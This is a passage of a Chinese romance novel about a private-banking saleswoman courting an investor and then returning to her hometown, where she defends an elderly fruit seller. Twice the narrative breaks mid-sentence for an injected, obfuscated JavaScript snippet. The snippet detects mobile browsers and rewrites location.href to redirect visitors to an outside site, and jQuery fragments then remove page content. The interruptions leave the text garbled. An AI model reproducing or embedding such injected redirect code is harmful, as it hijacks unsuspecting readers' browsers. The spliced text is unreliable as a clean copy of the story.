林晚橙甚至还在心里这样跃跃欲试鼓舞了自己一番。 她要打的是一场硬仗，指尖捏着连衣裙摆的荷叶边，其实很紧张，但多亏了之前的心理准备，一点也没表现出来，几乎是迎着他的目光开口：“我知道上次的会面对您来说有些不尽如人意，希望先跟您道个歉。” 在商场上，自己犯过的错通常都不会再提，生怕被别人记得更深刻，但林晚橙觉得，在席准这样的人面前，虚与委蛇的小聪明只会让他看轻。 不如老老实实认错。 果然，男人看着她，平和回答：“没关系。” 林晚橙继续：“上次因为一些沟通和时间方面的原因，没能来得及跟您展开说明更多细节。其实后面我认为还有一些有价值的提案没有分享。” 她这几天详细研究了他的背景信息和名下持股，重新把方案有针对性地做了一遍，比上次要好很多，有信心再见到他至少能讲得像模像样。 林晚橙怀着些许期待看向他，然而刚说完就看到席准略微笑了一下：“是吗？我觉得之前的观点已经很有价值了。” “呃。”——不是，他没搞错吧？ 她原本预期的是批评，甚至是直白的批评，而不是褒奖。 林晚橙呆了一瞬，但也只失态了一瞬，又尽量恢复了自然，只有小小磕巴轻微泄露出来：“……那、感谢您的认可。” 这细微的反应落在了席准眼底。 这姑娘不太走运，他今天心情一般，并不是很在意到底是谁派她来说这些的，也不关心怎么时隔两周现在才来说这些。席准猜测她一定准备了很多说辞，期待着他问“什么提案”，可他没问，她满腔壮志无用武之地。 林晚橙肩颈舒展挺直，自以为粉饰得天衣无缝，实际上略有些局促的神情已经从攥紧的指尖溢了出来，像是在发愁这难捱的寂静要怎么破局。 而席准散漫地转了转手里的半杯威士忌，没有想要出声解救的意思，不动声色看她要如何将这场对话进行下去。 7. 正视 台上三分钟，台下十年功，林晚橙憋了几秒钟，打定主意——她花这么多时间研究完成的方案成果，一定得让他知道。 今天不管他有没有兴趣听，她都必须得讲。 于是她直接另起了一个话头：“据我所知，您现在的需求是保留手上股权的同时，获取流动性进行国内和海外投资。我们获取了相应牌照可以在境内间接达成这个目的。这是金昂相对其他私人银行的第一个优势，也是之前在会议上我跟您提过的观点。” 席准简扼应了声：“嗯。” 林晚橙观察他的表情无碍，继续道：“第二点，是金昂的渠道网络。我们的门槛是国内私行中最高的，客户都是像您一样在业界有声望、有知名度的人士。 我们时常会举办一些客户交流活动，邀请在各大行的首席研究师或成功企业家前来与会分享，是交换资源的良好契机。” “第三点，我认为金昂有优势、尤其相对于方信的优势……” 话还没讲完，席准的手机好巧不巧进来一通电话，侧过眼示意：“抱歉。” 林晚橙只能暂时停下，看他先接起。 音乐声挺吵，她听不见那头在说什么，也不知道是不是要忙什么事，心里微提起来——他该不会就要走了吧？ 周容森的确是在叫席准回去，地下包厢的party还没结束，比之前要更开怀，这会儿又添了新人，左拥右抱好不尽兴：“Shawn，刚坐你旁边那姑娘可黏着我好久了，非一个劲儿跟我打听你的事。” “我这也不好说啊，要不等你回来亲自给她讲讲？”他喝嗨了，不大有分寸地揶揄，又压低声音，“去挺久了，你还回不回来？” “不一定。” 周容森扬声：“哈？你又忙什么有意思的事儿去了？” 林晚橙今天穿的裙子是掐腰款式，浅色的裙摆刚好覆至膝盖，两条白皙纤细的小腿很小心地拢在一起，没穿办公用的高跟鞋，就是一双很普通的白色小球鞋，衬得整个人清纯干净，与夜场的喧闹格格不入。 她此时特别想喝口水，无奈面前没有杯子，但也没法找人去要，怕席准随时结束电话，就那么并着膝盖干等着。 而他讲电话语调斯理，也没太在意避着她，林晚橙不想显出自己在偷听，就主动坐得远了一些，特别识趣地低着头研究桌上花纹，假装神思已然游离的模样。 有什么有意思的呢？席准对那样的聚会不是很有兴趣，他不喜欢被打扰，也厌烦不三不四的人。 就这么低敛下眼，恰好又捕捉到她开始颤动的睫毛，席准不太经心地凝视了两秒钟，没来由轻掀起了唇：“我听说Tirus刚跟聚喜报价了。” “Tirus Capital？”周容森愣了一下，跟上他的节奏，“要投那个电商项目？他们在大中华区不是一向只投传统消费行业吗？” Tirus是老牌外资私募，这几年作为主要对手，和博源直面竞争愈发激烈，但凡有好项目，基本上都会打照面，在疆场上狠厉厮杀一番，席准低哂：“他们要转变策略，开始侧重互联网科技。” “那你怎么想？”周容森知道他一直在跟进聚喜优品这个电商项目，博源也已经做过初步尽调，和张正诠商量后的意思是给80亿美金的估值，投后占比约5%。 这个行业算是不那么均匀的三分天下，除了大型电商企业永东狂揽市场上40%的订单，还有聚喜和得萃两个尚在成长的竞争者。 永东是自建仓储的重资产模式，送货效率高但成本也高。 聚喜优品和得萃都选择将物流外包出去和第三方合作。聚喜规模相对更大，主打中高端市场；得萃则聚焦下沉市场，靠补贴和团购维持生计，到现在还没盈利。 周容森认为聚喜是其中最好的标的，商业模式看得清晰，成长性也稳健，两三年就可以在美股上市。 但现在Tirus横插一脚，变数陡增，他不用想都知道之后少不了头疼：“我们还按照原来的方案报价？” 对席准来说，做决定并不需要多少时间：“不，要改。” 林晚橙等了好长一段时间，终于等到席准挂了电话，先看她一眼，而后不紧不慢地续上前话：“什么优势？” “……” 公司针对方信的优势，林晚橙反复提炼了很多遍才完成了总结，她像活过来的一株小植物，赶紧回答：“是我们的投资风格跟您个人偏好更加吻合。您前后投出过的项目不计其数，但我认为其中有三个格外重要。” “第一个是腾越，08年以社交软件的黏性获客起家，后来发展至综合性互联网平台。” “第二个是智米，智能手机硬件公司，随着互联网普及率的提升，以低价战略迅速抢占市场份额。” 男人边听边饮酒，并不言语。林晚橙恍然有种回到那天开会时的感觉，整个过程中都是王惠平在单向输出。 席准不像别的客户那样喜欢以打断别人的方式来表达自己观点，他即使不说话也依旧能够淡淡地掌控局面。不主动对外渗透情绪的大多数时刻，别人根本无从得知他心里到底在想什么。 因此林晚橙不知道现下他到底是听得太认真，还是压根没听进去：“第三个是云科汇书，互联网SaaS公司，针对企业后台流程提出智能化和一体化的高效解决方案。” “这三个项目看似没有关联，其实在逻辑上有所连接，且互为延展。” 其实她心里多少还是有些没底，但讲到这里，语气仍多了几分笃定，抬眸看向他。 “您青睐拥有绝对壁垒的商业模式，而且不止局限于技术垄断，对吗？金昂正好有一个计划叫做‘中国60’，混合选取了60只专门投资新型业态的第三方基金，聚焦一级和二级市场最有潜力的投资机会。” “这些基金在金昂独家代销，只对我们私行的客户供应。这也是我认为我们这个平台对客户最有价值的地方。” 最重要的部分已经讲完，林晚橙定了定神，盈盈开口：“不知道我这么回答，是否解答了您之前的问题？” 席准略微抬起头，似这时候才稍稍正视了她。 他静了片刻，语气挺舒展：“解答了。” “然后？” “什么然后？” 林晚橙脊背更挺直了一些，她已经屏气凝神做好准备了，连心底都轻微地快了几分，眸子黑亮：“您还有什么别的问题吗？” 席准看她一眼：“没有了。” 空气中似浮动起一瞬将喧闹按停的寂静。 “？” 林晚橙疑心自己听错，但席准已经闲散丢开掌心里把玩着的空酒杯，拿起一旁软座上的手机低头查看。刚才他的手机屏幕好像亮了好几下，将近一刻钟没看，不知有多少新消息提醒。 对话就这么戛然而止，没有任何继续探讨的发展空间，林晚橙坐在原位，像是刚才喝到假酒喝醉了的感觉，觉得自己脑子也有点抽筋。 ——合着她在这费尽口舌巴拉巴拉这么大一长串，他一点儿反应都没有的？！ 林晚橙合理怀疑席准刚才压根没仔细听，但又不敢对他投去幽怨的目光，噎了几秒钟，换了种方式委婉地提示：“如果我有哪里表达不清晰，您可以直接提出来的。” 席准在回消息的间隙抽空睇了她一眼：“没有，谢谢。” “……好的。” 她彻底闭了嘴，在那个瞬间十分敏锐地了解了，其实他根本没心情同她说话，也压根不想和她浪费时间。只是教养使然，没有直白地讲出来。 可能心里还在想，怎么有这么没眼色的姑娘？ 室内冷气开得很足，林晚橙只是这么想想，脸颊就隐隐热了起来。 周围人声鼎沸，只有他们这个角落冷清得像要收编天宫。苦恼得她想缴械投降，但林朗山遗传给她的那一丝丝厚脸皮让她仍旧稳稳当当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224048|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在原位。 思绪微转，恍然抓住了一根救命稻草。 ——对了，她还有张Joker牌没打呢！ 林晚橙指尖扣了扣沙发，危机意识促使她的大脑很快地进行思考。等到席准看上去像是回完了消息，适时抓住机会问：“您方便给我一个地址吗？” “什么？”他神情里还有未褪去的散漫。 “您早前借给我一把伞，您还记得吗？那天雨下得很大，多谢您帮我，不然我就全淋湿了。” 林晚橙不知道自己现在看起来什么样，她只知道她很想要席准的联系方式和地址，也不知道是不是太久没喝水，说出来的话都有些口干舌燥，“方便的话，我回家以后就把伞寄给您。” 席准的目光漆黑深邃，逆着光线，带着一丝让人心悸的幽微感。 他垂眸看过来，没说话，眼里情绪并不明显。 林晚橙看不出他究竟有没有想起来，她之前从未有过带着目的性去接近一个人的经验，不知道受人审视的过程如此漫长。 久到她情不自禁咽了下口水，稍微错开他的视线，才听到席准回答：“好。” 林晚橙的心跳空了一拍，将将稳住，悄悄坐得靠他近了一点。 她把手机拨号界面转给他看，大着胆子道：“……那您方便先给我个手机号吗？” 距离近的可以闻见他身上那阵低烈的沉香味道，她睫毛刚颤了下，屁股还没坐热，就听到远处叮铃哐啷一阵响动，伴随着几声嘈杂的人声。 林晚橙下意识看过去，发现是个喝醉的女人，步伐踉跄着搞倒了一个巨大的香槟塔。酒液四溅，周围看客惊叫，女人更狼狈，不过幸好只是小范围，混乱波及区域有限。 再定睛一看，这显眼的露背裙，怎么这么熟悉？ 恍然须臾，下意识看了席准一眼，这不是刚才和他站在一起的女人么？ 男人也在往那边看，可反应也并没有很大，林晚橙脑中倏地冒出个念头——该不会是因为她一直占着他时间，让对方等太久，借酒浇愁才弄成这样的吧？ ……这罪孽会不会有点太深重了？她像一朵知情知趣试图缩起来的棉花，还在默默思考对措，视线稍动了下，却又发现席准已经收回视线在看着自己。 就这么直接撞进他眼中，林晚橙思绪混沌起来，被迫张了张嘴：“那边…是您认识的朋友吗？” 刚才那大半支卷烟放在一边早就燃尽了，他几乎一口没抽，席准从盒中又取了支新的出来，慢慢点上。 林晚橙坐得离他很近，登时闻到一阵很沉烈的柏木香调，和普通的烟不一样，味道更像酒，温缓而辛辣。 她皱了皱鼻子，被这突然凛冽的后调呛到，不敢掩唇，别过脸咳了好几声。 席准看见了，就那么勾唇笑了下，但却没有动，好整以暇地靠在椅背上，偏头看她：“什么朋友？” “……” 林晚橙硬着头皮往那边指了一下，席准眼里浮现出些许色泽，像是兴味，又仿佛不是，“不认识。” “啊，她不是——”林晚橙话说了一半，及时刹住车。 “不是什么？”他听力真是好到不行。 “没什么。” 林晚橙想说什么，但那个瞬间没能组织好语言，不知为什么又咳嗽起来，整张脸都红了。 就在这时席准招侍者过来，要了一杯温开水。 他顺手递给她，递来时玻璃杯上还残留着一层雾，是掌心的温度。林晚橙默不作声，埋头就闷闷地喝。 席准看着整杯水慢慢见底，仿佛这会儿心情又好很多，有闲心随口一问：“你想说什么？” 林晚橙双颊发烫，生理性的反应还没消退，没注意到自己话都回岔了：“我、我没想什么。” 那双漆黑的眸半匿在暗影里，似笑非笑地锁定了她，席准指间仍松散夹着烟，猩红一点，淡淡道：“没想什么，那你刚才跑什么？” 8. 勤州 回到家的时候已经快两点，俞灿喝得烂醉，半边身子靠在林晚橙身上，两人一左一右互相搀扶着进门。 林晚橙缺席了整个后半场，只听她一个劲儿地嚷嚷：“我真是服了，那帮人是酒缸子里泡发的吗？也忒能喝了！” 旋即又大着舌头问她：“你没事吧？” 酒味染得人眼冒金星，林晚橙被她带得起了连锁反应，觉得脑子有点晕：“…没。” “那你刚才干嘛去了那么久？” 不是聊天的好时机，林晚橙没答，好不容易把俞灿弄进卧室里，她还有点意识，麻溜地换好睡衣躺倒在卧室床上了，于是林晚橙就蹑手蹑脚地关上门出去。 换好衣服洗漱以后，她才发现刚才腹部隐隐的疼痛感不是错觉。 早前和杨歆言她们喝多了冷酒，这会儿后知后觉起了反应。林晚橙很少会痛经，只不过一旦痛起来就有些难以忍受，那几杯shots的后劲很强，她抱着手机爬上床，侧卧着用被子把自己柔软地包裹起来，只露出一颗脑袋。 胸口处鼓点跳得很快，林晚橙感觉自己仍身处夜场，被砰砰震响的音乐声绵密包围。 最后那个情景还在她脑中盘桓，男人说话时靠得很近，沉冽气息随之倾荡而来，让她大脑轻微空白了一瞬，下意识瞠圆眼睛。 而只是短短的一个瞬间，他又慢条斯理地摁灭了烟，撤开距离。仿佛刚才那个恶劣打趣她的人不是自己，也没真想要她回答他的问题，简扼道：“手机。” “什么？”她还没反应过来。 席准看着她：“不是要还伞？” …… 现下手机屏幕上静静躺着一条电话号码，在黑暗中照得林晚橙一双眼睛也愈发乌亮。 她先在通讯录里存了下来。 Shawn Xi-博源资本，林晚橙对着那个备注满意地端详了很久。虽然身体不适，但感觉疼痛好像都飞走了。过了片刻，又生出理所当然的贪心，在微信里也轻快地输入那串号码，点击搜索。 那头跳出来一个联系人。 头像是肖像照，她目光再移过去，就看到名字了。 “……” 刘岩-博源资本。 呃，合着这玩意儿压根不是他手机号码啊？！ 手机屏幕映着她没来得及收回的笑容，有点像小丑，林晚橙对着那面镜子扯了下唇角，退出微信，又愿赌服输地返回通讯录把备注改掉——“刘岩助理-博源资本”。 肚子疼得有些出奇了，她侧着身蜷缩起来，眼睛微微黯下去，浅浅呼吸几下，又很快亮起来。 没有过多思考，很快点了好友申请，介绍自己：【刘总您好，我是林晚橙，金昂私行员工，上回我们一起开过会^_^。】最后配了个可爱的小笑脸。 喝了酒容易发困，关了灯眼睛盯屏幕盯得有点涩，林晚橙把手机扔到一边，紧按着腹部闭上眼，就这么头昏脑胀地睡着了。 - 次日一早，才七点钟，林晚橙的工作生物钟自动把她唤醒。 她迷迷糊糊看了眼手机，给刘助理发的申请还没通过，高中同学群里倒是热闹起来。 一晚上没看就99+消息，她翻到最上面，发现大家在提议着组织聚会，时间就定在下个月。 日期是班长定的，群里争相激动弹出消息：【妈呀久违久违，这群都默了两年了，终于活起来了！】 【好多人都不在勤州吧？】 【没关系，中秋假期嘛，常回家看看~】 高中关系比较好的闺蜜薛佳私戳了林晚橙，尖叫声已经盈彻屏幕：【啊啊啊亲爱的你也会回来的对吧？！】 勤州离省会杭城很近，但条件远不如后者发展程度高，薛佳在杭城念完大学，最后还是不想离开家，回到本地找了份教职工作。 林晚橙也好久没见大家，她今年到现在还没休几天假，堪称劳模，看着日历就心中一动，肯定道：【回的！】 暑假没回家，严妙春女士一个人打俩月麻将，寂寞沙洲冷。 林晚橙藏着这个小惊喜，悄悄收拾好行李订了票。 勤州交通不太发达，虽然沿江，但城镇众多，连高铁站都没有，只能从杭城坐车过来，到市区车程近一个小时。 严妙春在勤州最好的高中教书，最近刚开学，林晚橙本想一到市区就顺道去学校看看她，谁知组里的另一位小老板Frank正好在勤州跑客户，一听她要来，立马征用了优质劳力。 Frank：【Chloe，两小时后有个客户午宴，你跟我一起去吧！】 橙子圆滚滚：【好的，哪位？[憨笑]】 他们一整组都是急性子，Frank显然是一秒钟都不爱耽搁的那种，框框发来好几条信息，都不带喘的。 【赵总】 【中午12点半】 【算你8个人】 【地址是江天城市广场3L……】 赵觉亮是房地产公司翰觉置地老总，版图多在东南区域，早年间就已经是一方地头。他是勤州本地人，这次因为谈地块生意的事情暂待几天。 林晚橙问：【需要我顺路买什么礼物吗？】 Frank回一个和他严肃语气极度不符的可爱捧脸表情：【不用，礼物我准备好了，你只要人到场就ok。】 金昂风气开放，Frank从未隐藏过自己的性取向，甚至还很热衷在办公室里用彩色水杯。 众多男老板中，林晚橙和他一起共事会更有亲近感——他不像王惠平那样阴招频出，而是情绪黑白分明，直来直往。 不高兴的时候能把人骂得狗血淋头，高兴了又把人夸上天，部门里有一半初级员工都怕他，但林晚橙不怕，她反而觉得这样的性格相处久了就知道其实很好处理。 ——就是夸和骂的话都当他放屁好了。 林晚橙在心里悄悄笑，她觉得跟着Frank最安心的，其实还有应酬不用喝酒。 Frank在外面尤其照顾下属，就像现在，赵总的杯子都怼到她眼前了，被他四两拨千斤地挑了回去，很夸张地捂嘴笑：“Chloe酒精过敏，喝一滴都长红疹，可得当心呢。” 赵总晲着林晚橙还想说什么，Frank像护鸡崽一样堵在前头，又聊起自己精心准备的得意礼物，一副名家字画。赵总最喜欢这些噱头，根本不过问画家是谁，一听“颇具魏晋遗风”立马赞好。 然后底下的人纷纷很有眼色地跟着无脑喝彩。 这次会面本来也是为了维护客户关系，他们这一年的投资没少替赵觉亮赚钱，把人哄得很开心，又出酒又出场地，一顿饭吃得极尽和谐。 目送客户带着一众人浩浩荡荡乘车离开，Frank才开始意味深长跟林晚橙八卦其中隐秘：“你知道坐赵总旁边是他什么人？” “不是他女儿吗？” Frank谐谑：“哈，干女儿还差不多。” 林晚橙啊了声，适当地表达了震惊和对八卦的尊重。做他们这份工作还挺要求演技，无论听到多劲爆的消息都不能太惊讶，不然显得太外行。 Frank果然很满意，朝她挑挑眉头：“多学，多看，多观察，懂伐？” 林晚橙立即很上道地点头：“懂。” 她家离这儿有段距离，Frank急着回酒店，不知是否有约，两人很快分道扬镳。 林晚橙沿着江边走的时候，正好刷到一条翰觉置地的新闻，说公司计划转售勤州几块闲置还未开发的土地。 脑子里不由想起Frank走之前说的话——你别看这几亿几亿的拿地多风光，茅台喝着，劳斯莱斯坐着，其实全靠各色贷款滚着，公司资不抵债呢。 江风温煦地吹过来，让林晚橙略微有些出神。 ——人究竟是活在虚幻的高塔金楼里好，还是钱少一些，但实实在在的好呢？ 她没有深想，但心里已经有了偏向的答案。 街上来往的行人三三两两，林晚橙挺直了肩，忽然感觉肩上落了一滴雨，冰凉而又淅沥。夏季是汛期，最容易下雨，她抬头望了望天，还挺天真地觉得自己不需要打伞。 然而走了一段雨不由分说下大了，豆大的水珠砸下来，林晚橙这才识时务地招了辆的士。 上车时已经淋湿了一边，司机用熟悉的乡音热情地问她：“小姑娘去哪？” 林晚橙笑着报了地址，这里是还算繁华的市中心，而她家住在另一头，正好在古镇旁，就趴在窗户边看沿江的风景。 江岸视野开阔，星星点点的船只落在水面，映着白日里粼粼浮光的波涛，不一会儿车子拐了个方向，江岸看不到了。 司机也是本地人，中间经过市郊，抄近路走了段土路，这一带她也熟悉，有个三岔路口，还有一座小桥，要途径更偏僻的乡镇。 雨势刚才很大，现在又小了一些，但司机仍然开得很谨慎，林晚橙趴在窗边看到记忆中的三岔路口，有辆轿车正晃晃悠悠地转弯，看样子像是要往土桥上走。 司机也注意到了，很操心地出声：“那边行不通吧？” 夜色还没落下来，但这段路没什么人，甚至没有车，林晚橙不想多管闲事，但迟疑少顷还是问：“您可以停下车吗？” 司机依言：“怎么啦？” “有没有伞？” “有。” 林晚橙接过伞：“麻烦您在这等我几分钟。” 她从车上快速下来，听到雨水击打在伞沿上轻砰砰的声音，左右看了看，提着气往那辆车身后跑：“等一下！麻烦停一下！” 雨声淹没了她的话，幸好车开的速度不快，林晚橙加快了脚步，鞋子溅出水花，气喘吁吁地追上了车，上前拍它的窗户。 车如她所愿停了下来。 后座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224049|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐着一位已经上了年纪的老先生，头发已经有些灰白，但是模样很持重，穿着老式中山装，气质也儒雅，将车窗降下来：“你好？” 林晚橙举着伞，怕雨滴顺着落进车里，就没靠太近：“我看您往这边走，但现在雨下太大了，桥那边会有一小段淹掉，车下去了积水可能会触到底盘。” 老人皱着的眉松开一些，若有所思：“原来如此。” 又问：“经常这样吗？” 林晚橙点头，笑了笑：“嗯，雨天确实不好走，就算雨停了也会积水一段时间。” 老人也微微笑了，似在上下端量她：“小姑娘，你对这一带很熟悉？是本地人？” 车内饰品看上去价值不菲，林晚橙不知道对方背景，没有选择暴露过多信息：“我小时候在这住过一段时间。” “桥那边是不是居民也少？” “对，以前那边还有个化工厂，后来太污染环境就拆了，也因为人少，这座桥一直没修葺，那头地势更低。” 老先生安静思考片刻：“谢谢你特意过来提醒，不然待会儿我们还不知道要怎么回去。” 林晚橙抱着伞站在窗外，露出浅浅的酒窝，展颜道：“没事，我就正好看到了，能帮到您就好。” 她不再多说，跟对方挥挥手作别。 回到车上才发现王惠平给她打了几通电话，而她没听见。林晚橙用衣角擦了擦手机屏幕，立刻回回去，开头就听到王惠平一阵发难，厉声责备：“你怎么不接吕总电话？！” 林晚橙点进微信，才看到吕总确实给她打了两个电话，又在群里艾特了她。 她请了年假，论理今天不该是她轮值，但客户点名道姓不能不回，赶紧又打了个电话回去：“吕总您好……” 那边接起来，粗厚的嗓音冒着火气：“怎么回事？我要的表怎么还没给我？” 吕总近日对高利率的公司债很感兴趣，之前是说要她拉个大表出来看看。内容很多，还差最后的收尾来不及弄完，林晚橙请假之前有和蒋晨交接过，不知道为什么他还没处理好这件事。 不是所有客户都像邱总那样和善好说话，林晚橙抿了抿唇，尽量心平气和道：“抱歉吕总，我马上发给您。” “记得快点啊！”对面嚷嚷。 “好的——” 她话没说完，电话就挂了。 车子穿过近路又回到宽敞的砖石路面，离家越来越近了，蒋晨还没回复她，林晚橙索性拿出电脑自己继续做完了之前的工作。 回完客户以后，蒋晨的消息才从那一头跳了出来：【抱歉！我刚才在外面吃饭，才看到消息[哭泣]】 林晚橙没回复，那头真的很愧疚，继续道：【真的对不起，这周周报我替你做可以吗？希望能将功补过！】 林晚橙垂下眸，好脾气地打趣：【那下周周报呢？】 那头似咬咬牙，展现出十足诚意：【也我来做，行吗林大人？】 橙子圆滚滚：【允了，小晨子[呲牙]】 终于到家了，她家住的位置在古镇这一片，车子不好开进去，就请司机停在外头的马路对面。 雨下着下着小了很多，变成毛毛细雨，林晚橙没带伞，也没有帽子，就这么捂着挎包一路小碎步淋着回去。 在街口等灯的时候，不经意看到停在路边的黑车。车后座的男人一派闲适地靠着椅背小憩，面容清隽端挺。 一辆辆车浮光掠影地驶过，似惊鸿一瞥。 林晚橙不太明白席准怎么会出现在这里，也仅仅是震惊了一瞬间，很快就避开视线低下了头。 想到那天从金宝街回来后加了刘助理的微信，第二天早上就被通过了，她说明了寄伞的来意，对方好像并没有很意外，什么也没问，态度客气地请她寄到公司地址来，收件人姓名写“刘岩”就行。 听说他们有钱人都很怕被销售缠上，林晚橙不是不会看人眼色的人。 她只是不知道为什么每次遇到席准时自己都有些狼狈，也说不上为什么，就是莫名有些心慌。 那人明摆着不想加她微信，她觉得他应该也不是很想短时间内再被自己骚扰第二次，到时候可千万别再收集了他一堆助理的电话。 不是很想去看那头，林晚橙脚下紧了几步，就埋着头很专心地走自己的路。 席准正在打电话，听周容森在那边说：“咱们这回把聚喜的报价加到6.8个亿美金，是给了快140亿估值了，史无前例，肯定能拿下这项目，等着签SPA吧。” 席准就这么看着有个人一声不吭且目不斜视地从前面经过自己的车子，纤瘦的颈背看似挺得很直，实际上像个缩头鹌鹑，走着走着还不小心被凹凸不平的路面绊了一下。 这回不带伞也要淋雨。 她还挺有骨气。 周容森在那头讲到一半，敏锐地停下话头：“你笑什么呢？” 9. 斗志 席准注视着前方，眸光里显目的兴味一晃即逝，很快又恢复原样。 眼看那道身影在街口那头越变越小，终于淡然收回视线，接上话：“差不多就这几天了，等那边消息吧。” 140亿的估值很公允，拿到市场上比，很难再有更高的价格，博源表达了足够的诚意。 显然胜券在握，周容森松释地转向闲聊：“周末一起去打高尔夫？” “我这周在勤州。” 是绿水青山的旅游城市，颇具古镇风情，周容森有点意外：“你去勤州干嘛？” “过中秋。” 周容森扯了下唇：“……” 肯定不是，这人不主动交代，他也猜不出来：“那你给我搞几箱土特产回来尝尝。” 席准问：“你要什么？” “要不橙子？”周容森饶有兴致地扬起声，“这儿橙子挺有名，温岭高橙，红美人蜜橘，皮薄汁又甜，总之好吃。” …… 下午严妙春还没回家，林晚橙就在镇子里吭哧吭哧地帮人搬橙子。 勤州是个地界不大的小城，乡邻关系和睦，民风淳朴，她小时候常上古镇巷子里来窜，附近的叔叔阿姨们都认识她，像待自家孩子一样。 林晚橙听说她这名字好像还是大家集思广益一起帮忙取的。 她小时候生出来便气色很好，像是熟透了的蜜柑，要不就叫晚橙？林中晚橙，听上去像是自带夕阳美景，很有诗意。 这儿有山有水，绿意幽静，又盛产各色蔬果茶叶，可不就是一副之江美景。 九月的青蟹和临海蜜桔，各有各的风味。 旅游旺季马上开始了，镇上也热闹起来，各色贩夫走卒，商店街铺，沿着古色古香、颇具历史韵味的青石板街铺张开来，两旁都是亲切熟悉的笑脸。 林晚橙正在扬桥巷子口替秦阿婆搬货，把仓库里的两箱蜜柑搬到店里。家里的男人们也都忙着在果地里运货，只剩下阿婆一个人守着铺子。 小时候秦玉芬总是格外照顾她，碰到林晚橙背着书包跑去上学总要笑眯眯塞给她两颗小橘子，要不就是甜甜的琵琶，秦阿婆一双儿女都在杭城务工，林晚橙闲来无事就会去看看有什么能帮忙的。 她从邻居那借了辆小推车，一个人把橙子搬上去，迎着细如毛丝的小雨，轻盈地握着把手往秦家小店走。大半年没回来，却依旧轻车熟路。 地面都是青石砖瓦，略有些凹凸不平，东西有点重，上坡的时候林晚橙很仔细谨慎地掂量着，怕橙子不小心滚出来。 这时裤兜里电话响了。 她用脚抵住推车避免滑下去，姿态怪力乱神地掏出手机，发现是秦玉芬的电话：“阿婆？” 那头是有点慌张的声音：“小橙，你什么时候回来？” “怎么啦？” “验货的经纪人提前来了，”秦玉芬压低声音，“他们要压价，不然就不拿货了，你阿公他们还在地里，这……” 林晚橙说：“您别急，让经销商等我一下，我马上回来了。” “他们说等不了。把先前定的2.3元一斤改成1.8元，一口价包圆今年两万斤的产值，不然就走了。” 九月底橙子才刚慢慢熟起来，是季节里第一批货，农户辛苦了一整年终于开始收成，这价格本就不高，再砍一年就白忙活了。林晚橙把手机搁在肩头，继续往坡上用力推车，冷静道：“那您开免提给他们，我来说。” 秦玉芬用一部很旧的小灵通手机，捣鼓半天才开好免提。 经纪人带着两个帮手堵在院子里，店铺在隔壁，面积本就不大，刚才还有零零星星两三个客人，现在听到这边有动静就都走了。 她急得不行，捧来几颗橙子给他们看，再次恳求：“您看看这，这价格很实惠的，您也不能说降就降啊，咱们之前说好的……” 林晚橙听到经纪人漠不关己的声音传来：“也合作过一段时间了，当然还是想继续跟您拿货，但价格是王道，我们也不想亏钱。先前找我的另一家，人家也是2.3块，却给我1.5斤呢，算来也只有1.5块一斤呢，比我跟您这要价还便宜。” “——您等会儿。” 林晚橙适时插入：“您这么比不对。” “怎么不对了？”经纪人谑笑。 卖水果是最没有议价权的，经销体系混乱，层层盘剥，知道她们这是小地方，文化水平也不高，唬几下就怕。 林晚橙可不会被他兜进去，条理清晰地反击：“首先，我们的果子个头大又甜，找您的别家给您价格低，但试问给您供的是小果还是大果？小果80g，大果140g，我们的果子均重155g，算得上是特大果，价格本就不一样。” “其次，我们的果子品质和卖相好，有瑕疵的烂果在收成时会直接挑出去，没有滥竽充数的。我请问您，对方1.5块一斤的价格，次级果的比例占多少？60%？还是70%？到了市场上又能卖多少钱？相信您心里比我有数。” 她细柔的嗓音公放出来，切中肯綮，听得秦玉芬频频点头，经纪人眯着眼冷沉觑她一眼，又笑了：“小姑娘，那也不是这么说，现在蔬果都过剩，需求不足，农户却很多。” 林晚橙听出他言语里的威胁意思，心里突突跳了两下：“这个季节还不是橙子最丰收的时候，供应没完全起来，但我们的品种特别，市面上本就少有。” 那头声音不好听了，尖锐道：“我们只看价格。” “那还有早前订的协议，说今年都以原定价格拿货，现在时间也还没到。” “口头约定而已，有正式法律文件吗？我说就不作数，你们能怎么样？” 林晚橙在心里暗骂一声“奸商”，胸口有些起伏：“…您不能言而无信。” “小姑娘，你确定要跟我谈这个吗？” 对面嘴脸完全露出来，哈哈大笑，“我劝你还是老老实实低价卖给我，不然回头联系其他那些弟兄们，让他们以后都不拿你家的货，回头不止两万斤，十万斤、五十万斤全都让它烂在地里，你说好不好？” 林晚橙好不容易把推车推上平地，不知是累得还是气得发抖。 还有几十米，她快到店里了：“你们不能——” 经纪人觑一眼六神无主的秦玉芬，意味深长地加层码：“你阿婆年纪也大了，在扬桥这地界是不是得谨慎点，不然哪天出个好歹可怎么办？缺胳膊少条腿的都有可能，我告诉你，这么些年……” 他本来还想再吓唬吓唬这小姑娘，话到一半突然卡了壳，因为才看到旁边还倚着个高大的男人，不声不响的，怎么跟个门神一样。 这人什么时候来的？又听到多少？ 空气跟着陷入一片寂静。 像是有什么人缓步走了过来，林晚橙只听到皮鞋轻漫啪嗒一声，紧跟着道：“再说下去，你确定后果还承担得起吗？” 那道嗓音不急不缓，却谈不上温和，就像是海面底下的礁石，隐藏着沉磁的锋利。 明明也没听过几次，逐渐清晰的熟悉感却让她心里也跟着急促地落了拍。 林晚橙脚步微顿。 